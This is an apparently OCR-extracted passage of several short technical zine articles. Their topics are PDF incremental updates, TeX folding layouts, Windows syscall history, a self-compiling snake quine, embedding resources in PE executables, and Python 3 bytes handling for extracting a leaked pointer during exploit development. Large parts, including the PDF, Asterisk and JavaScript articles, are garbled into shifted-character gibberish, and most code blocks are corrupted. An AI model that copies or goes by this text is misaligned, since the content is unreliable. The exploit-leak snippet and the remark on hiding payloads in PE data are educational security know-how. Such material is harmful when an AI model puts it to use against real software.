'KHQ DWWDFKLQJ VXFK ILOHV WKH’ hxq?wGUH

UHFUHDWHG VR \RX FDQ W UHYHUW WR WKHR g;lﬁg)écf’%?RF

,QFUHPHQWDO XSGDWHYV &!1»+&/20

$ PRUH HOHJDQW ZD\ WR DWWDFK D$EGHQ & M®R GRWI/ YLD

DQ LQFUHPHQWDO XSGDWH VR WK DR PRIX WRRIO VWZEOKMWDVWLOO FRPSODLCG
WKDW WKH ILOH ZDV DWWDFKHG D | WoHBLSZA-DQUASH/G \B OMVBPRIDWHQWKH DUFKLYH
Rl WKH RULJLQDO ILOH ERG\ LV XQPRGIURFAGV KR OROWKWBRW $ ZRUNDURXQ
XSGDWLQJ HOHPHQWY ZLOO EH DS SHQGBGF IO lEERPPHQW WR WKH HQG R
XSGDWH D QHZ FDWDORJ WKDW IUMIVULIQOQWKM S\RCHJIJORW

DWWDFKPHQW WKH DWWDFKPHQW /G HRODIWEDWLRQ DQGCeLWYV Ae
19

i v & 244 &LO( 2% 2y 1 &O0( 2%,

GDWD VWUHDP i '1/A$ &7" '%(##0”1 2%:,*é’+) (
&*- 11 #&171 #/,* 6 2 & JHH#O"L C #&)"! 1 °/#&+1QD U rz°0g
0004 [ +"4 **v+1 )"+ $B%
I, ¢ #&17°,-"+@-1#U6é Y'+$1% )"+P#&)"! 1 U T ,##0"12¢
i/m 1t o+ 11 %rU+d 4&1%-"+@-1#» U 0 #%
[ *1&#6 1%" "51"+0&,+ 1, 6- 00 ) ()&®BI&+$ #04/8&1"@#&)"! 1 Uv, ##0"10U0¢é
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', °0 3" + /0¥ 7R DYRLG DUFKLYH YLHZHUV WR VKRZ

7KLV VFULSW PD\ ORRN UHDOO\ VLFRRSPHH QB W K.OWZILWY @QRZ I1XOO RI1 3') NF
KDQGOH IRU \RX FRPSOH[ FDVHYRUXEQJIJDWULFN LV WR VWDUW WKH FR]|
OLQHDUL]|DWLRQ REMHFW VWUHDPKF\RMHFOIRVWLB $8HIQYG 2ZXFX D E\WH WR \
RQO\ DSSHQG QHZ RU XSGDWHG RENEGEWYIDIQN; WRDNKH 3') GRFXPHQW

WKH RULJLQDO ILOH ERG\ LQWDFW (Q%%%&%(ME%F(?FN D

SHUIHFWO\ YDOLG 3') ILOH
7KDW VDLG LI \RX DWWDFK D =,3 W/ WDFKLQRKD ILOH YLD DQ LQFUHPHQV

FRXOG WKLQN RI PDNLQJ LW D =,3 ‘3‘ FbJFP Wog®' WR H[WHQG D GRFXPI
VHUYLQJ LWV RULJLQDO VWUXFW X

,QFRPSDWLELOLWLHYV ZLW)K/VSR@MJCQRNVQ EHDW WKH VDPH
%XW WKHVH DUH PXWXDOO\ H[FOXWIRYB #)Y B®FID@®X UHIHUHQFHG H[WHU
VWRUH WKH LQFUHPHQWDO XSGDWH) SROK ORW

FRPSUHVVLRQ YLD

1, °0 3"@!, °+ *"»e R $QJH $OEHAULWIKQWKH KHOS F
&+ ["*"+1 )c /2"» "5- +lczpgU 1LFRODV *UpURLDHO &R OBQEQG
VRPH LQFRPSDWLELOLWLHV ZLOO UHPDLQ BKLOLSSH 7HXZHQ

@angealbertini
http://github.com/corkami/



The \TeX{}nicalities of Paper Folding

Three years ago, | e

and | eventually decidec
cause it distracted frorm
of the article in which it
ideadid eventually inspir
zle from page 21 of Pod
implementation of the p
simpler; a straightforwar

S rusee

e

L

The original puzzle, a
page, was much more
to draw some fold lines
more di cult to typeset
cleanly spans across a
benet from the beautifu
gorithm discovered by V
with Donald Knuth.

The nawe approach w
all of the text separately
using an image manipu:
embed it back in the proj
requires manual proces
tial to break features lik
graphics.

A more seasoned EXn
a package likeshapepar.:
in the middle, into which
be inserted. However, tt
space of the inner colun
TEX to either add whites
Paragraph manipulation
words to span the folds,
words like \sesquipedali

The TeXnique at whic
combination of nnewsav

First, we create a box containing a mini- ;perimented with a fold-
ing puzzle in PoOCKGTFC page containing the entire content of the outer) issue 0x11. The editor

two columns:

nnewsavebox nfoldedcontent ¢
nsaveboxf nfoldedcontent gf
nbegin f minipage gf 0.5 nfoldedwidth ¢
This will be the content that
is in the outer columns.

nendf minipage g
g

Next, create the two outer columns using
TikZ's clipping feature, and distribute them

horizontally using nhfill

nnoindent nbegin f tikzpicture

o[ remember picture |

nclip [use as bounding :box] ( 0,0) rectangle

(0.5 nwchfoldedcontent

, - nfoldedheight );

nnode| anchor=north | at

(0.5 nwchfoldedcontent

,0) ( leftfold )

f nuseboxf nfoldedcontent gg;
gnhfill

nendf tikzpicture
nbegin f tikzpicture

o[ remember picture |

nclip [use as bounding :box] ( 0,0) rectangle

(0.5 nwchfoldedcontent:

, - nfoldedheight );

nnode] anchor=north | at (0,0) ( rightfold )
f nuseboxf nfoldedcontent gg;

nendf tikzpicture

The \[remember picture] " option is so EXnical.

g

1 to scrap the puzzle be

the underlying content
was to be inserted. The
‘e my paper airplane puz
<GTFO 0x13:02, but the
ilaper airplane was mucl
'd exercise in TKZ.

5 is demonstrated on thit
It's one thing

that the coordinates: of the named nodeson a page, but it's muct

(i.e., \leftfold

" and:\ rightfold

") can be text that seamlessly an
referenced from other pictures. We will useold break.

| wanted to

this next. The columns are di erentiated by ul TgX line breaking al-
placing the nodes at di erent locations rela- ichael Plass in his Ph.D
tive to the clipping rectangle.

Thus far we have two outer columns with suld be to simply typeset
whitespace in between. The nal step is to user, manually slice the PDF
TikZ's \overlay " feature to overlay a mini- ation program, and then
page containing the middle content inside ofjer layout. However, this

the whitespace:

nbegin f tikzpicture

o[ remember picture , overlay |

nnode] anchor=north | at ($leftfold.north east

10.5! (rightfold.north west

nbegin f minipage g[ b] f 0.46 nwdchfoldedcontent g
This will be the content in the center.

nendf minipage gg;

g

nendf tikzpicture

Here is a minimal example

)$) f

1 3y} 1o} 3p0d YO SIyi UedS

x3

)

sing, and has the potet
e copy/paste and vector

ician might choose to ust
sty to create whitespact
| the center column coulc
is will treat the negative
n as a line break, causin
pace or hyphenate words
will not allow individual

as will happen with lonc
anism."

sh | arrived was to use ¢
'reboxand TikZ clipping.

https://www.sultanik.com/
https://twitter.com/ESultanik
https://github.com/ESultanik



Windows Syscall Quiz

Windows Sysca” Quiz Question 2: cross-edition di erences
. As a general rule, various editions of the same OS
by Mateusz Jurczyk (jOOru) (Home, Pro, Enterprise etc.) use the same underly-

) ) . ing kernel and thus share the same set of system calls.

Do you consider yourself a Windows internals expert? However, there is one notable exception. In May 2019,

I you do, then try to correctly answer the following | nqticed that in the syscall tables served on my blog,
questions. If not, feel free to follow along and hopefully 4 ora were a few names only present in Windows NT

learn some interesting facts about the kernel of the , 5 spa but not in SP3. SP5. or any other system. One
most popular desktop operating system in the world., ¢, syr’nbol wasNtCreateWinStation

The quiz:

1. How many syscalls do Windows NT 4.0 and Win-
dows 10 1903 have, i.e. how much has the system
call table grown in the 23 years between 1996{2019?

2. Are there dierences in the syscall interfaces be-
tween various editions of the same versions of Win-
dows?

3. Have any legitimate driver ever registered their own
syscall table(s) beyond the standardntoskrnl.exe
and win32k.sys ?

After a brief evening research with Gynvael Coldwind,
we gured out that these syscalls (5 of them in total)
were only found in the Terminal Server Edition of Win-
Ready? Let's see how you did! dows NT, released two years afteiVorkstation. Consid-
ering that the data came from the original table created
. . by skape and hosted by Metasploit, the list for SP4 must
Question 1: syscall table growth have been extracted from a TS version of the system, un-
The rst release of Windows NT 4.0 Workstation had like for other service packs, and so it has stayed this way
210 core system calls and 496 graphical ones, adding upp until recently. And so the riddle was solved.
to a total of 706. At the time of this writing, the latest

32-bit build of Windows 10 declares 464 1256 1720 Question 3: non_standard Sysca” tables

syscalls: _ _ o
In that same evening, we decided to nally establish if

there ever had been real syscalls with IDs abov8x2000,
i.e. registered in the SSDT by a non-standard driver.
We had heard rumors about IS doing it at some point
in time, but we had never observed it in real life.
Very quickly, we found several online sources con rm-
ing that story for 11S4 and 11S5, on Windows NT{2000.
Some of them pointed us to a driver calledSPUD.sys
which stands for Special Purpose Utility Driver (if you
nd that name funny, check the story behind afd.sys ).
We found the driver on an extra Option Pack CD for
Windows NT, and on the standard installation disk of
Windows 2000. This way, we con rmed that it indeed
called KeAddSystemServiceTable with 9 entries in 11S4
This is a 143% increase in the size of the interface,and 7 entries in 11S5. We also learned that the associ-
which is an attack surface available to locally running ated ring-3 library was isatq.dll , with \atq" meaning
code. In other words, a new system call has beenasynchronous thread queueThe only missing piece were
added on average every week for the past two decadesthe names of the syscalls.
Of course it is not a fully precise metric as it doesn't ac-  After another while of recon, we managed to dig
count for code hidden behind thewin32k!NtUserCall out the symbols for both versions, in a dedicated
family, IOCTLs and many other factors, but it does il- cab archive (NT) and a complete system symbols
lustrate the growth of the kernel complexity over time. package (2000). Our curiosity was nally satis-
Fortunately, starting with Windows 8 developers canre- ed, with the mysterious syscalls turning out to be
strict access to parts of the attack surface for their sand- SpUPBInitialize , Terminate, TransmitFileAndRecv ,
boxed processes, thanks to new features such as the syssendAndRecy Cancel, GetCounts, CreateFile g in
tem call disable policy". l1IS5, with the addition of SPUDCheckStatus and
https://docs.microsoft.com/en-usiwindows/win32/api/ SPUDOplockAcknowledgen 11S4. It was a fun arche-

winnt/ns-winnt-process _mitigation _system_call _disable_policy ological adventure into operating system prehistory.

Blog: https://j0Oru.vexillium.org/
Twitter: https://twitter.com/j00ru
GitHub: https://github.com/jO0ru
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6KHOO HFKR 3, QFRPLQJ ~

'XQIJHRQ &UDZOHU
+DYH \RX HYHU ZDQWHG WR SOD\ D JDPH ZLWK D ODQGOLQH

WHOHSKRQH" 'R\RX QHHG WR FKDWZLWKéWItIv\R:C%Y(Ej(WRL\{_IFVﬁMQU HIWHQVLRQV UHGL
LV GRZQ DJDLQ" 'LG VRPHWKLQJ KDSSHQV\VABLGXHD%P\6\E§ FUHDWH D GXQJHRQ FUD:
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XVLQJ D 3%; WR VROYH \RXU LVVXHV $I§)¥\’V\O\H?%H %UEP(SQ(EK EH 1RUWK 6RXWK DQG
([FKDQJH DV RIILFLDO DV LW VRXQGVD\y\X/Q,MV{)/IXVW IRU

EXVLQHVVHYV LWK WKH SURSHU FRQILJXUDWLIQQ \RXU 3%; FDQ
EH XVHG IRU IXQ DV ZHOO +HUH DUH D>H—&WMV DQG
H[DPSOH VQLSSHWV WR JHW VWDUWHG HIWHQ ! %DFNJURXQG JUHHWLQJ

HIWHQ ! JRWR ORF$ VWDUW 1IRUWK
1RWH 7KH IROORZLQJ H[DPSOHV DUH HH:W%WV Ilé% \%IDQ—'QI EORENHG 6RXWK

SODQV UXQQLQJ RQ RSHQ VRXUFH VlegMb:BVWIjHWVFy@Q/(WHU
ZZZ DVWHUL¥RRUZLOO DOVR QHHG D 6,3 WUXQNLQJ

SURYLGHU WR IRUZDUG 9R,3 FDOOV WR \%I?)(\L/'V\}/HW\MU

. ) H[WHQ ! 30D\EDFN EORFNHG (DVW ;
LDSODQ %DVLFV HIWHQ ! JRWR HQWHU
HIWHQ ! JRWR ORF' VWDUW  :HVW

[
,Q $VWHULVN D GLDOSODQ LV D ILOH RUILOHV WKDW GHWHUPLQHYV
KRZ FDOOV DUH DQVZHUHG URXWHG D%%ﬁgg@ XS DV WKH\

SDVV WKURXJIK \RXU 3%; (DFK HQWU\LQ B &P $PRBUWY BBD\EDFN ORF$BDXGLR

HIWHQVLRQ SULRULW\ DQG DQ DSSOLFRWLRE VXEKWN HowHu 6 RXW K
H[WHQ !B; 30D\EDFN EORFNHG
H[WHQ ! $QVZHU VDPH !Q JRWR ORFS$
SORF'@
7KLV H[DPSOH VLPSO\ RSHQV D OLQH ZKHRQRERPRFRE " S0 \EDFN ORF BDXGLR
WKURXJK RQ H[WHQVLRQ $GGLWLRQRRy R F W LAQYR PXYWH U HV W

KDYHDQ LQFUHPHQWDO SULRULW\ QXPEH—HW’IQQ]'T'Q;HU?CPD\EE%}éﬁUEl—bRFNHG

WR DOZD\V DQVZHU DQG KDQJ XS D FDO%BM*W&HBWM&HV
WKURXJK WKH GLDOSODQ 6WDUW RXW ZLWK D VLPSOH GLDO SODQ WKDW

SOD\V D JUHHWLQJ VRXQG DQG ZDLWV ;¥HRFREGYSIRY PRo\ Kkbv WKUHH GLVWLQF)

HIWHQVLRQ DUHD ORFDWLRQ $ WR WKH QRUWK DQG

HDVW S$WWHPSWLQJWR PRYH LQ D GLUHFYV
HIWHQ ! B 3% ;QXPEHU! $QVZHU DQ DUHD ZLOO SOD\ D PHVVDJH FODLPLQJ W
VDPH ' Q %DFNJURXQG JUHHWLQJ LQYDOLG 7KLV LV D VLPSOH H[DPSOH IRU
VDPH ! Q :DLW([WHQ FRPSOHWH FRQVLGHU ILUVW GUDZLQJ D 10}

VDPH ! Q +DQJXS VXEK

&RQIHUHQFH 5RRP )RU ORFDWLRQ DXGLR $VWHULVN H[SHFW
ZKLFK LW FDQ QDWLYHO\ FRQYHUW IURP

:LWK D VLPSOH RQH OLQH DGGLWLRQ WR \»\WR&HR%IQFPQRBQ\%RF&PFRPPDQG

HDVLO\ VHW XS D FRQIHUHQFH URRP IRU\RX DQG \RXU IULHOGV
WR GLVFXVV LPSRUWDQW PDWWHUYV ILOH FRQYHUW DXGLR ZDY DXGLR JVP

HIWHQ ! &RQI%ULGIH ,Q DGGLWLRQ $VWHULVN VXSSRUWYV VHWW
EDVHG RQ YDULDEOHV ZKLFK FDQ EH XVHC
VLPSOH LQYHQWRU\ VIVWHP $V YDULDEO
DUJH WRSLFV LW LV UHFRPPHQG
Eéb%% LOH GRFXPHQWDWLRQ
R

5XQQLQJ &RPPDQGV

KHU O
<RXU 3%; FDQ EH XVHG WR UXQ FRPPDQG%MM I?IV}“:_I
SLQFK 30HDVH QRWH WKDW WKHUH LV D ORW WR O
WR VHFXULQJD 3%; PHDQLQJ WKLV LV SLngQ\ (%

DUQ CQ UHJDUGV
W PA\RRGULVN RUJ ZLNL GLVSO]

disconnectmy.icu
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Javascript - Global Variables

=414F6E<CG G<CF 4A7 GE<6>F
. bUT_iTe\TU_Xf

7XV_Te\azZ iTe\TU_Xf\fabg T_jTIf XTfl! <a VheeXag UebjfXefy
g[X Z_bUT_ iTe\TU_Xf TeX fgheXW \a g[f\awbj  bU]XVg TawW
fb™Xg\"Xfy Ibh “TI WXV_TeX g[X"
XiXa \Y Ibh Wba~g jTag gb!
4 fb g[XeX TeX & TIf bY WXY\a\aZ iTe\TU_Xf-

Vbafg iTe\TU_X 0#. ™U_bV~ fVbcXWY jba~g UX eXTfZaxXw!
_XgTe\TU_X 0 #. "U_bV” fVbcXWy Tl UX eXTf\ZaXW 0_\"X
VbhagXe \a T _bbci

iTe iTe\TU_X 0#. "Taw

iTe\TU_X 0 #."YhaVg\ba fVbcXWy “TI UX eXTf\ZaXW

~YhaVg\ba fVbcX~XTaf g[Tg T Z\iXa iTe\TU_X \f TiT\_TU_X

\af\WX g[X YhaVg\ba \g jTf VeXTgXW \a. \Y abg VeXTgXW \aAWX T

YhaVg\bay \guf Z_bUT_!
~U_bVA fVbeX~XTaf g[Tg T iTe\TU_X \f TiT\_TU_X \aAWX T
U_bVvAy \IX! TalgN\aZ fheebhaWXW Ul Vhee_| UeTVXfl

G[XeX \f T_fb fge\Vg "bwWX \a =TiTFVe\cg! G[Tg "bWX \f
WXV_TeXW Ul TWW\a@hfX fge\Vgo. Tg g[X UXZ\aa\aZ bY T
fVelcg be T Yhavg\ba!

TXV_TeXW Tg g[X UXZ\aa\aZ bY T fVe\cgy \g [TEZ_bUT_ fVbcX,
Uhg WXV_TeXW \aA\WX T YhaVg\bay \g [FfVT_ fVbcX.

J\g[ fge\Vg "bWXy Ibh VTaabgy Ybe XkT c_Xy hfX haWXV_TeXwW
iTe\TU_Xf!

ohfX fge\Vgo.
iTe\TU_X 0 &!$"." Xeebe. iTe\TU_X \f abg WXV_TeXW
iTeiTe\TU_X 0 &!". "™ g[\fj\__ abg VThfX Ta Xeebe

Abjy_Xguf Tfh*X Ibh [TiX g[X Yb__bj\aZ VbWX-

iTe "IfgXellTe\TU_X 0 $$.
Vbafb_X!_bzd'IfgXellTe\TU_Xi.

G[\fj\__ bUi\bhf_I bhgchg  $$a g[X Vbafb_X! 5XVThfX g[X
VbWX \f abg XkXVhgXW \a T YhaVg\bay g[X VbagXkgj\__ UX
Z_bUT_! G[\f 'XTafg[Tg j\aWhbj!"IfgXellTe\TU_X

VbagT\af $$TfjX__!

Fb™Xg\'Xf =TiTFVe\cg Vbh_W UX ge\VAl f\aVX Ibh VTa
biXee\WX Xk\fg\aZ Z_bUT_ iTe\TU_Xf be YhaVg\baf-

YhaVg\ba T_Xeg G n
Vbafb_X!_bZ6BiXee\WXa T_Xegdu.

p

T_Xegle;X__b jbe_Wei.

J[Xa XkXVhg\aZz
g[X T_Xeg cbchc flaVX jX [TiX biXee\WXa g[X aTg\iX T_Xeg
YhaVg\ba!

\aWbj!T_Xeg 0be JnfgT_Xe@y \g jbadg f[bj

<Y jXjTag gb "XXc g[X iTe\TU_Xuf aT Xy g[Xa jX aXXW T
jeTcc\aZ YhaVg\ba (gb ceXiXag biXee\W\aZ Xk\fg\aZ Z_bUT_
iTe\TU_Xf be YhaVg\bafii g[Tg \f \"" XWATgX_I VT__XWy _\"X
UX_bj-

iTe T_Xeg 0 dbiXeje\gXf \aWbj!T_Xeg®.
YhaVg\ba Gu n
_Xg T_Xeg 0 6fVbcXW gb YhaVg\bad.
Vbafb_X!_bzZ0T_Xegu.
pudd.
4_fby Ibh VTa fXaW g[X j\awbj TaW bg[Xe Z_bUT_f Tf
Tezh Xagf gb g[Tg YhaVg\ba! G]\f \f bYgXa hfXWy Ybe XkT c_Xy
\a ]DhXel c_hz\af G]DhXel T__bjf Iobh gb WMTU_X g[X +
exXYXeXaVX gb g[X |DhXel aT XfcTVXu!

aYhaVg\bad=+in
"y IDhXel c_hZ\a VbWX eXYXeXaV\aZ + y"
pud]DhXeld.

https://mazurdorian.pl
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guinesnake - a quine that plays snake over it's own source!

q uinesn ake github.com/taylorconor/quinesnake

a quine that plays snake over its own source! It compiles itself! Run it with ./quinesnake.cpp

*bin/Is>/dev/null;sed -n 's/.* \\X\(.¥\)..\1/p’' $0|I=$0 sh;exit;*/std::map<I,
I>m={{97,1}{'w',/*echo g++ -std=c++11 -00 $I -lcurses -DI=int -DF=if -DK=ret\*/
2},{'d",3}};1/*urn -includectime,curses.h,iostream,map,unistd.h|sed s/,)\ -in\*/
w=80,h=28,x=2,y=2,a=2,b=0,d,e,z=768;std::wstring/*clude/g|sh;./o</dev/tty;exit*/
s=LR"x(/*bin/Is>/dev/null;sed -n 's/.* \\¥\(*\)..\1/p' $0|1=30 sh;exit;*/std:
:map<l,I>m={{97,1} {'W',/*echo g++ -std=c++11 -00 $I -Icurses -DI=int -DF=if -DK
=ret\*/2},{'d",3}};I/*urn -includectime,curses.h,iostream,map,unistd.h|sed s/,/A
-in\*/w=80,h=28,x=2,y=2,a=2,b=0,d,e,z=768;std::wstring/*clude/g|sh;./o</dev/tt
;exit*/s=LR"x%dx";| G(I x,1 y{K 3&s[y*w+x]>>8;}I
=c<<8;}l P(I d,I &%, &y){F(d==1)x-=2;!d&&y++;d
set(0);l a=rand()%w/2*2,b=rand()%h;timeout(0);
X, Y){K s[y*w+x]>>10;} S(I d){(s[y*w+x]&=~307
e=getch())&&abs(m[e]-d)!=2)d=m[e];S(d);P(d,x,y
1)K 0;S(d);F(G(x,y)&2)M();else{s[b*w+a]&=~z;P(
r(1 i=0;i<w*h;){attron(e=z&sli]);addch((char)s[i++]
I(i%w))addch(10);}refresh();K 1;}I main(){srand(ti
s.erase(e,l);s.replace(s.find(L"%d"),2,L"("+s+L") iinitscr();start_color();for(
e=0;e<3;Xinit_pair(e,0,e+9);C ();while(T())usleep(z<<7);end
win();Dx";1 G(I x,I y{K 3&s[y*w+x]>>8;} C(l x,1 y,I c){(s[y*w+x]&=~2z)|=c<<8;}

I P(I'd,l &x,l &y}{F(d==1)x-=2;!d&&y++;d==2&&Yy--;F(d==3)x+=2;}1 M(){curs_set(0);
I a=rand()%w/2*2,b=rand()%h;timeout(0);F(!G(a,b))C(a,b,2);else M();}l A(l x,1'y)

{K sly*w+x]>>10;} S(I d){(s[y*w+x]&=~3072)|=d<<10;}l TO){d=A(x,y);F(0<=(e=getch
()&&abs(m[e]-d)!=2)d=m[e];S(d);P(d,x,y);F(x<0|ly==h||y<0|[x>w-2[|G(X,y)&1)K 0;S
(d);F(G(x,y)&2)M();else{s[b*w+a]&=~z;P(A(a,b),a,b);}C(x,y,1);move(0,0);for(l i=0
;i<w*rh;){attron(e=z&sJi]);addch((char)s[i++]);addch(s[i++]);attroff(e);F(!(i%w))
addch(10);}refresh();K 1;}I main(){srand(time(0));while((e=s.find(10))>0)s.erase
(e,1);s.replace(s.find(L"%d"),2,L"("+s+L")");initscr();start_color();for(e=0;e<3
;{init_pair(e,0,e+9);C(2,e++,1);}noecho();M();while(T())usleep(z<<7);endwin();}

&&y--;F(d==3)x+=2;}l M(){curs_
(a,b))C(a,b,2);else M();} A(l
d<<10;}l TO{d=A(x,y);F(0<=(
x<0[ly==h||y<0[|x>w-2||G(X,y)&
,b),a,b);}C(x,y,1);move(0,0);fo
dch(s[i++]);attroff(e);F(
(0));while((e=s.find(10))>0)

A quineis a program that takes no input and pritds program) out of the source file and executes the
own source as its only output. OStepping outsidesingle shell command. Without this itOs really ti
itselfO, e.g. by printing the contents of its own fileto minify the program, becauselude anddefine
isnOt allowed; so itOs not a completely trivial problerstatements must be on their own line.

Quines are generally interesting to look at but almosio keep track of the state of the game, and to |
completely useless otherwise. The standard trick uselde source as confusing to read as possible (wh
to write one is to represent a copy of the program@so important!) quinesnakestores the game state
own source as data within the program, usually in the spare bits of the source-as-data string used |
string. It can then be formatted into itself and printedquine. The type of this string isd::wstring , @
This two-line Python quine is a neat example of this:string class for storing wide (>=16 bit, athar_t )
s = characters. Sincgquinesnakeonly uses it to store

print (s ¥s) bit ASCII characters, that leaves the rest spal

Quinesnakauses this string formatting to allow it to Store the state of the character in the output (e
print its own source, but makes things moreshake, or food), and the direction of the snake
interesting by playing the classic garseakeover that proceeds this one (up, down, left or right), if
the source (with wasd controls) after itOs printed! It@art of the snake. Every othethar_t in the strin
still a quine, it just runs a game loop to accepgontains these 4 bits of game state in the higher
keyboard control input, and highlights parts of thedits above the regular character, so theyOre ret
text as it continuously prints it to render the snak®Y casting thevchar_t down tochar when printing.
and the food, using therses library. Finally, string formatting in these programs can |

There are a number of techniques used to makBIge pain when special characters need to be es
quinesnakeas small as possible. Perhaps the mod€-9- quotes, newlines) so that they appear as s
interesting one is that it compiles itself. Making thecharacters in the source, but escaped characters
source file executable and executing it invokes Source-as-data string. To not have to worry a
on itself with a number of flags, includes and defineshis, quinesnakeuses aaw wide string for the dat
This works because the first line of the program, Which does no special character escaping. The
*bin/ls>/dev/nullE , is interpreted as a shell substitution thatOs required is done manually in:
command, despite also being a valid C++ commenpy manually finding axd substitution token in tt
The sed magic, borrowed mostly verbatim from String to replace it with the string itself.
stedolanQminhttp project, parses the C++ commentsHopefully this inspires you to write your next use
(which contain the shell commands to compile th@nd overcomplicated program! N Conor Taylor

taylorconor.com
github.com/taylorconor
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Intro to Embedded Resources in Windows Apps

Intro to Embedded Resources in Windows Apps
by Jon ‘Doc’ Andrew

No matter what operating system you're
working with, some type of “object” format

will be used to store binary “runnable” code
and/or data that can be executed or linked
with other objects to produce an executable.
Linux uses ELF (Executable and Linking
Format), and Windows uses PE (Portable
Executable). Generally, they perform the
exact same function, and both contain
“sections” like text (for executable code) ,
.bss (uninitialized data), .data (for
initialized data), and many others. In Linux,
an application binary is an ELF object file

with a flag (ET_EXEC) set In Windows, an
application binary is a PE object file with

a flag

So far, so good, right? If we dig a little

deeper into the PE format used in Windows,
there are some optional  sectionsthat are not
present in ELF. One of these is a .rsrc
(resource) section. Typical applications will

have the application icon and an “application
manifest” (XML file describing the app)
bundled into the executable within a .rsrc
section. The .rsrc section can even behave as
a complete directory structure within the PE

file!  Anything can be aresource, even  driver
filesand 3 ™ party DLLS!

The advantage to using this technique over
those described later in this article is the
availability of Win32 API calls for easily
accessing these resources at runtime
ability to  re- link new resources in
recompilation.

and
without

The Sysinternals “procmon” app uses this
technique to extract a kernel driver  (.sys -
which is also a PE file) used for listening

to OS events. In fact, in an .exe you can
embed a .dll as a resource, which itself
contains a .sys file! In this sense, a PE

file can act a lot like a .zip file, which
can itself contain other .zip files.

of having to run an installer or ship a .zip
file, a single .exe can be delivered which
extracts the resources it needs at runtime.

Instead

Here's a brief example of embedding a small
text file into an executable. This should be

run in a Visual Studio native tools command
prompt. | used D (www.dlang.org) for the
executable, but C/C++ would be very similar.
Note that 64 -bit code must be used here so
link.exe will work with our D .obj file.

Creating a resource, resource definition and
compiling into a .res file:

> echo PAGEDOUZ®!myres.txt

> echo FOORCDATAmyres.txt " > myres.rc

> Ic.exe myres.rc

(IMAGE_FILE_EXECUTABLE_IMAGE) set.

Source for loading the resource (hello.d):
(imports and function omitted for brevity)

auto res = FindResource(null, "FOO", RT_RCDATA);
char* ptr = cast(char*)LoadResource(null, res);

auto size = SizeofResource(null, res);

write(ptr[O .. size]);

Compiling, linking and running the code:

> dmd.exe - m64- ¢ hello.d

> link.exe hello.obj myres.res \
/LIBPATH:C\D\ dmd2window4 lib64 \
legacy_stdio_definitions.lib

> .\ hello.exe

PAGEDOUT!

Note that there are other ways to embed
executable data into an .exe. For instance,
self- extracting7 -Zipfiles canbe created by
just concatenating a .sfx (the executable

non-

part) with a small config file and the
compressed file archive itself using a
command like this:

> copy /ba.sfx + b.co nf+c.7zd.exe

+ + + +

| PE .exe | Config text |Compressed file|

+ + + +

The PEformat is ignorant about what's at the
end of the PE image itself. | f you try to

analyze the self -extr acting executable with
a utility like dumpbin.exe, you'll see that

a relatively small portion of the overall
fileis  represented asa PE. Atruntime, the
self-extracting code reads its own file to
get the config and compressed data for
extraction.

Finally, you can always compile static data
into the object file and link that into the
binary. One way to do this is opening the

file to embed in a hex editor like HxD, and
exporting itasa .cfile. Instead of rc.exe,
compile this  with your regular C compiler  and
link it with the restof  the app as usual.

Note that unlike  PE resources, using static
data in an object file is a cross -platform
solution. GNU binutils’ or mingw’s “objcopy”
or“ld”canal sotake a regular file and

it as an object file which exports a symbol
for your embedded data That symbol can be
referenced in your app  as a static variable

You can use this variable , write the memory
to disk, etc. Of course, you could encrypt,
compess or obfuscate the data prior to
inclusion in your application.

save

Unknown @ps with large read-only data
sections or .data sections that appear to
contain executable code should be suspected
for holding some sort of payload using this
technique!

github.com/docandrew
www.linkedin.com/in/jon-andrew
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Introduction to ptrace - injecting code into a running process
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Strings & bytes in Python 3

Strings & bytes in Python 3

You are building an exploit and, not being a barbarian,

have switched from Python 2 to 3. One part of your ex-

ploit involves leaking an important address by dumping

a chunk of memory. This chunk of memory contains a
lot of random data but somewhere in the middle you

know that there is a string "Har: " ! followed by the

4 bytes representing the little endian encoding on the
address you are looking for. You copy some old Python
2 code that you have used for a similar situation:

def extract_leaked_pointer (leak):

marker =

start = leak . find(marker)

leak start = start + len (marker)

leak data = leak[leak_start:leak start +4]
return struct . unpack( , leak _data)[ 0]

Sadly, when running this, you get the following error:
TypeError: argument should be integer
or bytes-like object, not str

To solve this, you try to decode the leaked bytes into
a string by adding this line to the code:
leak = leak . decode( )

Unfortunately, this doesn't work either and you are left
staring at another error message:

UnicodeDecodeError: utf-8 codec can't
decode bytes in position 0-1: invalid
continuation byte

In anger your desire to develop as hacker, you turn to
TFwitter—and-complain-about-how Python-3-sucks this
article to understand how to reason about Python 3,
strings, character encodings and arbitrary bytes.

The problem is that you are trying to interpret an ar-
bitrary sequence of bytes as UTF-8 encoded data. This
is the equivalent of trying to push a square peg through
a round hole. It won't work. The following diagram
shows what you are trying to do and where it goes
wrong.

: NXBEnxBA nXFEnxCA..." ]

UTF-8 decode .
string
[ : ????.."J O
: O bytes
Find markerl
(.. o] O int
Extract bytes
[" nXBEnxBA nxFEnxCA" J
Little endian

[ OXCAFEBABE ]

1Swedish for "here"

Let's remind ourselves about character encodings. Th
goal is to represent a character such as "A". Comput-
ers work with numbers (more precisely bits), not char-
acters, so we translate the character into a number. Ir
the ASCII encoding, this is the number 65. We call this
the codepoint. This value is then encoded using a sing|
byte O0x41. This is simple in ASCII because there is
one to one to one mapping between characters, cod
points and bytes and can this be implicitly done with-
out thinking about it. Python strings are not limited
to ASCII but can represent the full Unicode range. If
we use the UTF-8 encoding and take the charactea
we instead get:

Character | Codepoint | Bytes Encoding
A 65 0x41 ASCII
A 65 0x41 UTF-8
a 228 0xC3 0xA4 | UTF-8

Speci cally, one character maps to a codepoint whicl
is encoded with more than one byte and not every se
guence of bytes represents a valid character. This i
what causes the problem. To solve this, instead of try:
ing to convert the "haystack” bytes into a string and

search for a substring, you convert the "needle" markel
into a sequence of UTF-8 bytes and search for tha
sequence of bytes in the haystack. When it is found
you can extract bytes relative to that o set and process
then accordingly, in this case, convert them to a 32-bit
number. This slightly modi ed diagram describes this

approach.
Q string
UTF-8 encode
Find marker
: NXBEnxBA nxFEnxCA..." ]

Extract bytes

[ "nNXxBE nxBA nxFEnxCA" ]

Little endian
| OXCAFEBABE |
Which, translated to Python 3 code looks like this:

def extract_leaked_pointer_python3
marker = . encode( )
start = leak . find(marker)
leak_start = start + len (marker)
leak _data = leak[leak_start:leak_start +4]
return struct . unpack( , leak_data)[ 0]

In short, don't try to convert bytes that don't represent

text, into text. Instead convert the text into bytes, use
it to extract the relevant bytes and then process them
accordingly. Now your exploit works in Python 3 and
you can leave another legacy language behind.

(leak):

https://zeta-two.com
https://twitter.com/ZetaTwo
https://youtube.com/ZetaTwo



CP850 cmd game in C# .NET

woni u P u ]V _coorolz @l coorm

. . SetConsoleDisplayMode
